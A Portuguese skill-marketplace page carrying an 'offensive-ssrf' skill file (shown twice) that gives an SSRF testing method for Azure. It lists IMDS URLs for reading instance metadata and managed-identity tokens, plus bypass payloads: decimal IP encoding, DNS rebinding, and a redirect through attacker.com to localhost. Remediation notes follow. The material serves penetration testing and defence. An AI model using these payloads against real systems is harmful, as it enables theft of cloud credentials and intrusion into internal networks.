Execute qualquer Skill no Manus
com um clique

Execute qualquer Skill no Manus com um clique

offensive-ssrf

Estrelas54

Forks65

Atualizado21 de junho de 2026 às 23:49

Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).

Instalação

Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.

Executar no Manus

Fonte

openshield-org

openshield-org/openshield

Abrir repositório GitHub Ver repositórios do creator

Download

Executar no Manus

Ocupações relacionadasSOC

Baseado na classificação ocupacional SOC

Analistas de segurança da informaçãoInformática e Matemática·SOC 15-1212

SKILL.md

readonly

name	offensive-ssrf
description	Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).
domain	cybersecurity
subdomain	web-security
tags	["ssrf","azure","imds","metadata-service","web-security"]
version	1.0
author	openshield
license	Apache-2.0
nist_csf	["PR.AC-3","PR.AC-5","SC-7","PR.DS-1","DE.CM-1"]

Server-Side Request Forgery (SSRF) — Azure Offensive Methodology

When to Use

When testing web applications that fetch external URLs or process user-provided links.
When assessing cloud metadata exposure on Azure Virtual Machines or App Services.
When performing internal port scanning or service discovery from a compromised web entry point.
When validating WAF and network security group (NSG) effectiveness against egress request forgery.

Key Concepts

Term	Definition
IMDS	Instance Metadata Service, reachable at `169.254.169.254` in Azure
Blind SSRF	A vulnerability where the server makes a request but does not return the content to the attacker
DNS Rebinding	A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack
Out-of-Band (OOB)	Using an external server (e.g., Burp Collaborator) to detect triggered requests

Detection & Exploitation

Azure Metadata Service (IMDS)

Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.

# Accessing Azure Instance Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header required: Metadata: true

# Accessing Managed Identity Tokens
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Bypass Techniques

IP Encoding: http://2130706433/ (Decimal for 127.0.0.1)
DNS Rebinding: Using services like rbndr.us
Redirect Chains: http://attacker.com/redirect?url=http://127.0.0.1:8080

Remediation Reference

Allowlisting: Only allow requests to specific, trusted domains.
Egress Filtering: Use Azure Firewall or NSGs to restrict outbound traffic from web servers.
Metadata Protection: Ensure web applications do not have permissions to add or modify custom headers like Metadata: true.

Mais deste repositório

mesmo repositório

post-quantum-cryptography-azure

openshield-org/openshield

Identifies and remediates non-quantum-safe cryptographic configurations in Azure including classical TLS key exchange, RSA and ECC keys in Key Vault, and classical certificate algorithms. Maps findings to NIST PQC standards FIPS 203, FIPS 204, and FIPS 205. Use when assessing quantum readiness of Azure infrastructure or building a Cryptographic Bill of Materials.

2026-07-1454

analyzing-azure-activity-logs-for-threats

openshield-org/openshield

Queries Azure Monitor activity logs and sign-in logs to detect suspicious administrative operations, impossible travel, and privilege escalation.

2026-06-2154

analyzing-cloud-storage-access-patterns

openshield-org/openshield

Detect abnormal access patterns in Azure Blob Storage by analyzing Storage Analytics and diagnostic logs. Identifies after-hours bulk downloads, access from new IP addresses, unusual API calls (GetBlob spikes), and potential data exfiltration.

2026-06-2154

auditing-azure-active-directory-configuration

openshield-org/openshield

Auditing Microsoft Entra ID (Azure Active Directory) configuration to identify risky authentication policies, overly permissive role assignments, and guest user risks.

2026-06-2154

auditing-cloud-with-cis-benchmarks

openshield-org/openshield

Conduct cloud security audits using Center for Internet Security (CIS) benchmarks for Azure. Covers interpreting CIS Foundations Benchmark controls, running automated assessments, and maintaining continuous compliance monitoring.

2026-06-2154

building-cloud-siem-with-sentinel

openshield-org/openshield

Deploy Microsoft Sentinel as a cloud-native SIEM and SOAR platform for Azure. Covers configuring data connectors (Entra ID, Azure Activity), writing KQL detection queries, and building automated response playbooks.

2026-06-2154

name	offensive-ssrf
description	Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).
domain	cybersecurity
subdomain	web-security
tags	["ssrf","azure","imds","metadata-service","web-security"]
version	1.0
author	openshield
license	Apache-2.0
nist_csf	["PR.AC-3","PR.AC-5","SC-7","PR.DS-1","DE.CM-1"]

Server-Side Request Forgery (SSRF) — Azure Offensive Methodology

When to Use

When testing web applications that fetch external URLs or process user-provided links.
When assessing cloud metadata exposure on Azure Virtual Machines or App Services.
When performing internal port scanning or service discovery from a compromised web entry point.
When validating WAF and network security group (NSG) effectiveness against egress request forgery.

Key Concepts

Term	Definition
IMDS	Instance Metadata Service, reachable at `169.254.169.254` in Azure
Blind SSRF	A vulnerability where the server makes a request but does not return the content to the attacker
DNS Rebinding	A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack
Out-of-Band (OOB)	Using an external server (e.g., Burp Collaborator) to detect triggered requests

Detection & Exploitation

Azure Metadata Service (IMDS)

Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.

# Accessing Azure Instance Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header required: Metadata: true

# Accessing Managed Identity Tokens
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Bypass Techniques

IP Encoding: http://2130706433/ (Decimal for 127.0.0.1)
DNS Rebinding: Using services like rbndr.us
Redirect Chains: http://attacker.com/redirect?url=http://127.0.0.1:8080

Remediation Reference

Allowlisting: Only allow requests to specific, trusted domains.
Egress Filtering: Use Azure Firewall or NSGs to restrict outbound traffic from web servers.
Metadata Protection: Ensure web applications do not have permissions to add or modify custom headers like Metadata: true.